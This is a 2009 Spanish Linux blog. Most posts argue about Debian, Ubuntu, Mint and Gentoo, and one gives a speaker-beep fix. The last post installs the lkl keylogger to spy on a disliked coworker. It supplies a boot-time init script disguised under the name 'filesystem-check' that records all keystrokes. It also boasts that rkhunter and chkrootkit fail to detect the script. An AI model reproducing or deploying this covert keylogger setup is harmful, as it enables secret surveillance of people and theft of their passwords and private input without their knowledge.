miércoles, 22 de julio de 2009

Respuesta a por qué Mint y no Ubuntu...

En primer lugar, dar las gracias al Anónimo que ha respondido al post publicado ayer. Sin ánimo de crear polémicas, respondo:

"Si ahora utilizo debian lenny es sin duda gracias(...)"

Discrepo; Ubuntu en sus inicios carecía de instalador gráfico,usaba el de Debian GNU/Linux; ahora mismo no tengo datos, pero no me parecería nada raro que la gente de Ubuntu utilizase una versión volatile del instalador de Debian GNU/Linux.

"De ubuntu no me gusto eso de tener que(...)"

Totalmente de acuerdo en lo que comentas acerca de LTS, sin embargo, no considero que la publicidad gratuíta sea algo que envidien las distribuciones; y aunque si es algo deseable, en mi opinión, temas como la estabilidad, accesibilidad, seguridad y simplicidad están por delante. Crees que una de las primeras distribuciones GNU/Linux, como es Debian GNU/Linux en este caso,cuya primera versión se liberó en agosto de 1993(hace 16 años!), necesita más o mejor publicidad que estos 16 años; es probable, pero no creo que el proyecto Debian GNU/Linux tenga como un objetivo principal "publicitarse".


"Respecto a lo que dices de la comunidad ubuntu(...)"
Quizá no me he explicado bien. Mi intención no es menospreciar a nadie, pero considero que la información y documentación de GNU/Linux no se resuelve en foros. Existen de hace muchos años, proyectos de documentación, como por ejemplo The Linux Documentation Project, o TLDP-ES/LuCAS. Las listas de correo resuelve, en la mayoría de los casos, problemas que nunca o con muy pocas probabilidades solucionaras en un foro.Quiero pensar que por falta de tiempo, o por lo poco amigable(no quiero decir accesible) de su web, aún no has visitado www.debian.org. Sabías que en esta web, relativo a documentación, puedes encontrar:
.- Guía de Instalación.(http://www.es.debian.org/releases/stable/installmanual) Para las 11 arquitecturas para las que Debian GNU/Linux tiene soporte, para idiomas tales como: inglés, español, koreano, japonés...actualizadas muchas de ellas a 2008 y 2009.
.-Preguntas de Uso Frecuente, actualizadas a 26 de Junio de 2008.
.-Guía de Referencia, idem que la anterior.
.-Notas de Publicación.Nada que añadir
.-Wiki de Debian.Se puede mejorar, pero tratan temas relativos a : Introducción rápida, Instalación,Administración,Servicios de Red.
.-Tarjetas de Referencias Rápida.¿Has descargado alguna vez una? Te recomiendo este enlace(http://xinocat.com/refcard/refcard-es-a4.pdf)
.-Guía de Referencia para el nuevo Desarrollador.Actualizado en 2007.
.-Debian Developer's Reference.Actualizado en 2007.

Además pueden encontrar mucho manuales y How to's.

"Lo de que el kernel viene supermodulado(...)"
De acuerdo contigo, tengo una optica distinta a la tuya. Comentas que "tiene que instalar a la primera como Windows". A mi no me gustan los imperativos, en todo caso, en mi opinión podríamos comentar "Como Microsoft Windows, cuando no tienes problemas con el hardware, debido a su pobre diseño, se suele instalar a la primera, los desarrolladores de distribuciones Linux o GNU/Linux, deberían cuidar los instaladores cuando liberen sus distribuciones.". Creo que el gran mérito(uno de ellos) de distribuciones GNU/Linux ha sido, entre otros, acercar Unix a la gente; falta mucho aún para llegar a un entorno equitativo entre usabilidad-facilidad-estabilidad, pero si tienes oportunidad, pregúntale a Tanenbaum o Ritchie qué le parecen los instaladores de las distribuciones Linux o GNU/Linux actuales. Un Sistema Operativo Unix-Linux-*BSD no es un juguete, es un Sistema Operativo, y funciona.Microsoft Windows, no lo es, desde el momento que necesita un antivirus para ¿funcionar?, carece de sentido llamarle así. La gente debe saber que para todo en la vida, existe una curva de aprendizaje,de conocimiento y de conceptos; el falso conocimiento se aprende con productos Microsoft a base de doble-clics y service packs.Personalmente prefiero el conocimiento por asimilación que por repetición, y tú?

"De otro lado, más que ubuntu tenga que reconocer el mérito de debian(...)"
Sinceramente este tipo de comentarios me hacen reflexionar y eso me gusta. Gracias, pero no estoy de acuerdo. Repito, un proyecto que lleva vivo 16 años, soporta 11 arquitecturas, con una comunidad sin ánimo de lucro detrás...si tuviese algo que agradecer, en primer lugar lo haría hacia su comunidad.Creo recordar que Ubuntu está basada en Debian GNU/Linux, insisto en GNU/Linux por que en ningún punto de respuesta citas GNU(con)Linux. Ubuntu debería dar las gracias a Debian GNU/Linux por:
.- Por ser libre y gratuíta.
.- Por su sistema de paquetes.
.- Por su documentación.
.- Por la calidad de su software, ligada directamente a la seguridad.
.- Por ser GNU/Linux.
.- Por su Contrato Social.[Ver]
.- Por su futuro, al no estar encadenada a una empresa o entidad.
.- Por hacer el trabajo duro: coordinar,programar,liberar,documentar...

"Y puestos a recomendar distros,(...)"

Y puestos a recomendar distro, te recomendaría Gentoo Linux.

Y con esto termino, si algún día te acercas por SCQ, tomamos un café, charlamos y pulimos diferencias...

martes, 21 de julio de 2009

¿Por qué Mint y no Ubuntu?

Dificil pregunta y difícil respuesta. En primer lugar me gustaría comentar que pese a mi posición la mayoría de las veces anti-Ubuntu, no dejo de reconocer el gran trabajo que han estado realizando desde 2004 la gente de Canonical.

Uso Ubuntu desde 2004, desde la versión 4.10. He trabajado con ella durante tiempo y me parece una gran distribución. Personalmente considero positivo del proyecto Ubuntu los siguientes puntos:
  • Acercamiento del S.O con kernel de Linux al público en general.
  • Han acertado escogiendo como base el proyecto Debian GNU/Linux.
  • Han acertado escogiendo GNOME como entorno de escritorio.
  • Han echo fácil lo difícil: que esta dificultad no sea un impedimento para usar un Sistema Operativo con kernel Linux.
No me gusta de Ubuntu:
  • Ubuntu debe a Debian GNU/Linux, a sus desarrolladores y a su comunidad lo que es hoy. Apenas reconocen este punto y personalmente me parece una falta de respeto.
  • Ubuntu carece un sistema de ramas de desarrollo "potente" , como de Debian(stable,testing,unstable,volatile...etc)
  • Muchos de los paquetes de Debian no están ni estarán ni de broma en Ubuntu. Uso Ubuntu en mi macbook y mi lista de repositorios está repleta de lineas que contienen ftp.es.debian.org/debian unstable...
  • La Comunidad. No me gusta que cualquier tipejo/a postee como solución a un problema "Reinstala la distribución y entras en Sistema...". Basta con echar un vistazo al los foros de ubuntu-es : ! Penoso !
  • Kernel. No me gusta que el kernel de Ubuntu se instale supra-modulado. Hay gente que piensa que si a la primera(entorno gráfico y tal) no funciona y/o detecta hardware, éste no funcionará. Amigos, esto no es Windows, están ante un Sistema Unix-Like, si de verdad quieren que funcione: estudien,lean,razonen y luego instalen; así se hacen las cosas, por lo menos en mi pueblo.
  • Ubuntu depende de una empresa.Recientemente, en las VI Xornadas de SwLibre de Mugardos, Rubén, del Proyecto Trisquel comentaba lo siguiente(más o menos). Que una distribución dependa de una empresa tienes su lado negativo: el dinero. La finalidad de una empresa es conseguir, facturar o "producir dinero". Qué sucederá cuando Mark Shuttleworth se aburra de dar dinero al proyecto? Estamos seguros de que todos los programadores asalariados(= trabajan por dinero) seguirán en el proyecto si en algún momento hay problemas de financiación?Debian GNU/Linux sin embargo, es una comunidad, sin ninguna empresa detrás. Vale HP y Google aportan dinero, pero el núcleo del proyecto no tiene implicaciones empresariales directas. Por otra parte, si le damos la vuelta a la tortilla tenemos Red Hat. No me vale. Red Hat "ha parido" su propia distro; ha parido Anaconda, ha parido miles de paquetes... Con el paso del tiempo ha dividido su proyecto y líneas de negoicio en RHEL y Fedora. Ambas de gran calidad, sobre todo Fedora. Red Hat es una referencia. Ubuntu de momento aún aspira a eso.El tiempo lo dirá.
¿Hacemos justicia? Últimamente es un bien escaso, por eso me gustaría reconocer el gran trabajo de la gente del Proyecto Mint, una distribución basada en Ubuntu, que tiene como lema "producir un escritorio elegante de GNU/Linux". No se han dedicado ha usar Reconstructor y lanzar "un nuevo sistema operativo", si no que han echo esto. Hagamos justicia con Trisquel GNU/Linux. Hagamos justicia con Gentoo Linux. Hagamos justicia con Fedora.Hagamos justicia con Slackware. ¿Qué hace mejor Mint que Ubuntu? Muchas cosas, pero principalmente eso, ser Mint. Abrirnos los ojos a un mundo fuera de Ubuntu. Salgamos del Matrix en el que nos hemos(yo incluído) encerrado con Ubuntu y démosle una oportunidad a la libertad.
Salud!

lunes, 13 de julio de 2009

Me gusta Gentoo



A menudo suelo aventurarme a la hora de dar mi opinión acerca de software y demás, pero en este caso creo que no. Conozco Gentoo de 2004 aproximadamente, desde el final de mi primera etapa Compostelana, hace ya más de 6 años. Cuando digo conozco, evidentemente no es en profundidad ni mucho menos.
Recuerdo que lo que leía siempre eran maravillas, como que sí "es una distribución que vuela..", "por y para geeks...". En 2006 conocí por casualidades de la vida a Andrés en el III CibernEncontro Kernel 2006 y la ví funcionar en un portátil Toshiba. La verdad es que como por aquel entonces comenzaba a alucinar con Debian, difícilmente sacaría tiempo para profundizar en paralelo en otra distribución GNU/Linux. Llegó VirtualBox y la cosa cambió. No sólo eso. Ahora se puede decir que tengo 2 máquinas estables: el sobremesa(clónico) y el macbook. El Macbook lo uso principalmente los fines de semana, cuando marcho a Mugardos. Llevo ya 14 meses con él y estoy encantado, tanto con MacOSX como con su rendimiento con distribuciones GNU/Linux. He probado Debian y Linux Mint; y ahora mismo desde hace un par de meses Ubuntu 9.04.
En casa, con el sobremesa, el AMDX2 Dual Core y los 8GB de RAM ayudan muchísimo para jugar con máquinas virtuales. En este mismo instante, tengo una Gentoo compilando vi y Debian como anfitrión y esto ni se entera. Al grano.

No me gusta de Gentoo:
  • Ausencia de instalador: Es un poco "coñazo" la instalación. Sí, muy geek, montándote todo a pelo y tal, pero en un entorno corporativo, será igual? Espero respuesta.
  • Tiempo instalación paquetes: Para instalar un paquetes debes "esperar" a que termine la compilación.
  • Compilar el Kernel: A efectos de aprendizaje es muy positivo que tengas que compilar el kernel, pero si necesitas una instalación rápida...Por no mencionar si te olvidas de dar soporte a un módulo, como por ejemplo el soporte de red.
Me gusta de Gentoo:
  • Aprendizaje: Realmente con Gentoo aprendes cosas. Al no tener instalador, conceptos con Gestor de Arranque,Particionado de Discos,Kernel...te quedan mucho más claros.
  • Optimización : Una bala, Gentoo es una bala. Como comentaba en el punto anterior, puede ser un punto en contra, pero a menudo es punto a favor. El rendimiento de la máquina aumenta considerablemente.
  • Portage: El gestor de paquetes es una maravilla.
  • Documentación: Es increíble : el wiki, los manuales, la comunidad...
Le estoy dando una oportunidad a Gentoo Linux, y la verdad es que no me ha defraudado en absoluto.

jueves, 9 de julio de 2009

Ese molesto pitido...

Creo recordar que en algún momento he recomendado la lectura del blog de Nasser Heidari. Recientemente ha publicado un post en el que indica como desactivar/eliminar el molesto pitido del speaker del PC. Es realmente sencillo, bastante con "cargarse" el módulo pcspkr.ko y listo.

[root@localhost] rmmod -v pcspkr.ko

Si añadimos al fichero /etc/modprobe.d/blacklist una entrada como esta, todo solucionado.

[root@localhost] echo "blacklist pcspkr" >> /etc/modprobe.d/blacklist

martes, 7 de julio de 2009

Jugando a ser malos...

Tengo medio abandonado el blog(falta de tiempo y mucho trabajo), pero bueno, hoy voy a dejar una perla, dedicada especialmente a un personaje que últimamente no para de molestarme, en lugar de hacer su trabajo; pues ahora, amigo mío, te presento a lkl, un keylogger para máquinas GNU/Linux.
Un keylogger es un "registrador" de teclas, es decir, guarda en un fichero todo que "tecleamos".
Para "jugar" con lkl, basta un simple apt-get:

[root@localhost]: apt-get install lkl
[root@localhost]: lkl -h
-- Linux Key Logger vers 0.1.1 --
usage:
-h this help
-l start to log the 0x60 port (keyboard)
-b Debug Mode.Perhaps it's usefoul :P
-k set a keymap file
-o set an output file
-m send logs to every 1k
-t hostname for sendmail server. default is localhost

Example: lkl -l -k keymaps/it_km -o log.file


Poco que explicar de la ayuda: simple y concisa. Por cierto, me flipa que tenga la posibilidad de enviar el log por email cada 1k, aunque pensándolo bien, es un poco cantoso...
El caso es que si queréis que lkl se inicie cada vez que se inicia el sistema, creamos un fichero en /etc/init.d/ , con el nombre(es lo de menos), por ejemplo filesystem-check, con el siguiente contenido:

#!/bin/bash
#
#
FICHERO_LOG=/root/log_keys.txt
mv $FICHERO_LOG $FICHERO_LOG.$$
touch $FICHERO_LOG
case "$1" in
start)
/usr/bin/lkl -l -k /usr/share/lkl/keymaps/us_km -o $FICHERO_LOG &
;;
stop)
pkill lkl
;;
*)
echo "Usa: /etc/init.d/lkl {start|stop}"
exit 1
;;
esac
exit 0

Ahora necesitamos que se ejecute al incio.

[root@localhost] update-rc.d filesystem-check
defaults

He probado con rkhunter y chkrootkit y no ha cantado nada. En fin , será cuestión de mejorar la implementación. De momento, sé de uno que se ha quedado sin...